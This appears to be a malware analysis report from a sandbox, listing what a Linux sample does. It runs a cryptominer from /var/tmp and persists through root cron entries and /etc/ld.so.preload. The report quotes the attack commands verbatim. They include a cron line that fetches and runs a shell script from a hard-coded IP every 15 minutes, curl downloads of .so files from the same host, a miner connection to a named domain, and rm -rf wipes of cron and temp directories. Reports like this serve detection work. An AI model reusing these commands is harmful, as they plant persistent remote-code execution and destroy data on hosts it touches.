Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
- apt update -y > /dev/null 2>&1; apt install cron -y > /dev/null 2>&1
- /usr/bin/pgrep pkill -9 tmp
- chmod 777 /var/tmp/tmp > /dev/null 2>&1
- crontab -r
- rm -rf /var/tmp/* > /dev/null 2>&1
- /usr/lib/apt/methods/http
- crontab -l
- rm -rf /var/tmp/*.
- pkill -9 tmp > /dev/null 2>&1
- cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &
- chmod 644 /etc/crontab > /dev/null 2>&1
- rm -rf /etc/ld.so.preload > /dev/null 2>&1
- curl -o /usr/local/lib/pthread.so -s http://185.196.9.190/srv/pthread.so
- rm -rf /var/tmp/tmp > /dev/null 2>&1
- rm -rf /var/spool/cron/crontabs/*
- yum update -y > /dev/null 2>&1; yum install cron -y > /dev/null 2>&1
- crontab -
- rm -rf /var/tmp/*. > /dev/null 2>&1
- mkdir /var/tmp > /dev/null 2>&1
- grep -qxF */15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)
- rm -rf /tmp/* > /dev/null 2>&1
- curl -s /etc/crontab -o http://185.196.9.190/srv/crontab 2>&1
- touch /etc/ld.so.preload > /dev/null 2>&1
- chmod 777 /var/tmp/tmp
- rm -rf /etc/cron/*
- mkdir /var/tmp
- chmod 644 /etc/crontab
- apt update -y
- touch /etc/ld.so.preload
- rm -rf /var/spool/cron/crontabs/* > /dev/null 2>&1
- rm -rf /etc/crontab
- crontab -r 2>/dev/null; crontab -l 2>/dev/null | grep -qxF \x27*/15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)\x27 || (crontab -l 2>/dev/null; echo \x27*/15 * * * * sh <(curl -s http://185.196.9.190/srv/dca.sh)\x27) | crontab - 2>/dev/null
- sh -c \x27cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &\x27
- dnf check-update -y > /dev/null 2>&1; dnf install cronie cronie-anacron -y > /dev/null 2>&1
- curl -o /usr/local/lib/initrc.so -s http://185.196.9.190/srv/initrc.so
- rm -rf /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e /tmp/tmux-0
- rm -rf /etc/cron/* > /dev/null 2>&1
- apt install cron -y
- /usr/bin/dpkg --print-foreign-architectures
- rm -rf /usr/local/lib/*.so > /dev/null 2>&1
- rm -rf /usr/local/lib/*.so
- rm -rf /var/tmp/tmp
- rm -rf /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
- rm -rf /etc/ld.so.preload
Kills the following processes:
- kdevtmpfs
- http
Performs operations with the file system:
Modifies file access rights:
- /var/tmp/tmp
- /var/lib/apt/lists/partial
- /var/lib/apt/lists/auxfiles
- /var/cache/apt/srcpkgcache.bin.tpyD7X
- /var/cache/apt/pkgcache.bin.bYOT8W
- /var/cache/apt/archives/partial
- /var/spool/cron/crontabs/tmp.9OgTeJ
Modifies file owner:
- /var/lib/apt/lists/partial
- /var/lib/apt/lists/auxfiles
- /var/cache/apt/archives/partial
Deletes folders:
- /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i/tmp
- /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i
- /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh/tmp
- /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
- /usr/local/lib
- /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f/tmp
- /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f
- /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e/tmp
- /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e
- /tmp/tmux-0
Creates or modifies files:
- /etc/ld.so.preload
- /var/tmp/tmp
- /tmp/#130830 (deleted)
- /var/lib/apt/lists/lock
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.mt8UlZ
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.hShGiW
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.GUOyyV
- /var/cache/apt/srcpkgcache.bin.tpyD7X
- /var/cache/apt/pkgcache.bin.bYOT8W
- /var/lib/dpkg/lock-frontend
- /var/lib/dpkg/lock
- /var/cache/apt/archives/lock
- /var/spool/cron/crontabs/tmp.9OgTeJ
Deletes files:
- /usr/local/lib
- /var/tmp/tmp
- /etc/crontab
- /tmp/tmux-0/default
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.mt8UlZ
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.hShGiW
- /var/lib/apt/lists/partial/.apt-acquire-privs-test.GUOyyV
- /var/cache/apt/pkgcache.bin
- /var/cache/apt/srcpkgcache.bin
Changes time of creation/access/modification of files:
- /etc/ld.so.preload
- /var/spool/cron/crontabs
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
DNS ASK:
- _h###.###p.security.debian.org
- _h###.##cp.deb.debian.org
- se####ty.debian.org
- de#.#ebian.org
Other:
Collects OS information
Collects CPU information
